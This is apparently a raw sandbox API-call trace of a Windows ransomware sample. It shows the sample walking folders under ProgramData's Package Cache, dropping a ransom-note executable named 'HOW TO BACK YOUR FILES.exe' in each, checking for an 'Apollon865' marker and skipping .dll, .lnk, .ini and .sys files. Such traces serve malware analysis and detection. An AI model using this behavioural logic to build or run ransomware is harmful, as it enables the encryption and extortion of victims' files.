	[0050.547] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.548] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.548] GetLastError () returned 0x0
	[0050.548] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.548] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.548] CloseHandle (hObject=0x15c) returned 1
	[0050.548] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.548] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.548] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.548] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.548] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.548] lstrcpyW (in: lpString1=0x2d3e636, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0050.548] lstrlenW (lpString="cab1.cab") returned 8
	[0050.548] lstrlenW (lpString="Apollon865") returned 10
	[0050.549] lstrlenW (lpString=".dll") returned 4
	[0050.549] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0050.549] lstrlenW (lpString=".lnk") returned 4
	[0050.549] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0050.549] lstrlenW (lpString=".ini") returned 4
	[0050.549] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0050.549] lstrlenW (lpString=".sys") returned 4
	[0050.549] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0050.549] lstrlenW (lpString="cab1.cab") returned 8
	[0050.549] lstrcpyW (in: lpString1=0x2d3e636, lpString2="vc_runtimeAdditional_x64.msi" | out: lpString1="vc_runtimeAdditional_x64.msi") returned="vc_runtimeAdditional_x64.msi"
	[0050.549] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0050.549] lstrlenW (lpString="Apollon865") returned 10
	[0050.549] lstrcmpiW (lpString1="al_x64.msi", lpString2="Apollon865") returned -1
	[0050.549] lstrlenW (lpString=".dll") returned 4
	[0050.549] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".dll") returned 1
	[0050.549] lstrlenW (lpString=".lnk") returned 4
	[0050.549] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".lnk") returned 1
	[0050.549] lstrlenW (lpString=".ini") returned 4
	[0050.549] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".ini") returned 1
	[0050.549] lstrlenW (lpString=".sys") returned 4
	[0050.549] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".sys") returned 1
	[0050.549] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0050.549] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0050.549] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d18 | out: hHeap=0x580000) returned 1
	[0050.549] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0050.549] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 78
	[0050.549] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0050.549] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.549] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.550] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.550] GetLastError () returned 0x0
	[0050.550] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.550] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.550] CloseHandle (hObject=0x15c) returned 1
	[0050.550] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.550] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.550] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.550] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.550] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.551] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0050.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x599d18
	[0050.551] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0050.551] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.551] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.551] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdd0
	[0050.551] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages"
	[0050.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d18 | out: hHeap=0x580000) returned 1
	[0050.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0050.551] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned 87
	[0050.551] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages"
	[0050.551] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.551] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.551] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.551] GetLastError () returned 0x0
	[0050.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.552] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.552] CloseHandle (hObject=0x15c) returned 1
	[0050.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.552] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.552] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.552] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.552] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.552] lstrcpyW (in: lpString1=0x2d3e600, lpString2="vcRuntimeMinimum_amd64" | out: lpString1="vcRuntimeMinimum_amd64") returned="vcRuntimeMinimum_amd64"
	[0050.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0050.552] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xde) returned 0x599d18
	[0050.552] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0050.552] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0050.552] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.552] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdd0
	[0050.552] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64"
	[0050.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d18 | out: hHeap=0x580000) returned 1
	[0050.552] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0050.552] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned 110
	[0050.552] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" | out: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64"
	[0050.552] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.552] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.553] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.553] GetLastError () returned 0x0
	[0050.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.553] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.553] CloseHandle (hObject=0x15c) returned 1
	[0050.553] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.553] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.553] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.553] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.553] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.554] lstrcpyW (in: lpString1=0x2d3e62e, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0050.554] lstrlenW (lpString="cab1.cab") returned 8
	[0050.554] lstrlenW (lpString="Apollon865") returned 10
	[0050.554] lstrlenW (lpString=".dll") returned 4
	[0050.554] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0050.554] lstrlenW (lpString=".lnk") returned 4
	[0050.554] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0050.554] lstrlenW (lpString=".ini") returned 4
	[0050.554] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0050.554] lstrlenW (lpString=".sys") returned 4
	[0050.554] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0050.554] lstrlenW (lpString="cab1.cab") returned 8
	[0050.554] lstrcpyW (in: lpString1=0x2d3e62e, lpString2="vc_runtimeMinimum_x64.msi" | out: lpString1="vc_runtimeMinimum_x64.msi") returned="vc_runtimeMinimum_x64.msi"
	[0050.554] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0050.554] lstrlenW (lpString="Apollon865") returned 10
	[0050.554] lstrcmpiW (lpString1="um_x64.msi", lpString2="Apollon865") returned 1
	[0050.554] lstrlenW (lpString=".dll") returned 4
	[0050.554] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".dll") returned 1
	[0050.554] lstrlenW (lpString=".lnk") returned 4
	[0050.554] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".lnk") returned 1
	[0050.554] lstrlenW (lpString=".ini") returned 4
	[0050.554] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".ini") returned 1
	[0050.554] lstrlenW (lpString=".sys") returned 4
	[0050.554] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".sys") returned 1
	[0050.554] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0050.554] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0050.554] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0050.554] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0050.554] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 67
	[0050.554] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0050.555] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.555] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.555] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.555] GetLastError () returned 0x0
	[0050.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.555] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.555] CloseHandle (hObject=0x15c) returned 1
	[0050.555] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.555] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.555] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.555] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.556] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.556] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0050.556] lstrlenW (lpString="state.rsm") returned 9
	[0050.556] lstrlenW (lpString="Apollon865") returned 10
	[0050.556] lstrlenW (lpString=".dll") returned 4
	[0050.556] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0050.556] lstrlenW (lpString=".lnk") returned 4
	[0050.556] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0050.556] lstrlenW (lpString=".ini") returned 4
	[0050.556] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0050.556] lstrlenW (lpString=".sys") returned 4
	[0050.556] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0050.556] lstrlenW (lpString="state.rsm") returned 9
	[0050.556] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="vcredist_x64.exe" | out: lpString1="vcredist_x64.exe") returned="vcredist_x64.exe"
	[0050.556] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0050.556] lstrlenW (lpString="Apollon865") returned 10
	[0050.556] lstrcmpiW (lpString1="st_x64.exe", lpString2="Apollon865") returned 1
	[0050.556] lstrlenW (lpString=".dll") returned 4
	[0050.556] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".dll") returned 1
	[0050.556] lstrlenW (lpString=".lnk") returned 4
	[0050.556] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".lnk") returned 1
	[0050.556] lstrlenW (lpString=".ini") returned 4
	[0050.556] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".ini") returned 1
	[0050.556] lstrlenW (lpString=".sys") returned 4
	[0050.556] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".sys") returned 1
	[0050.556] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0050.556] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0050.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c70 | out: hHeap=0x580000) returned 1
	[0050.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0050.557] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 78
	[0050.557] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0050.557] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.557] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0
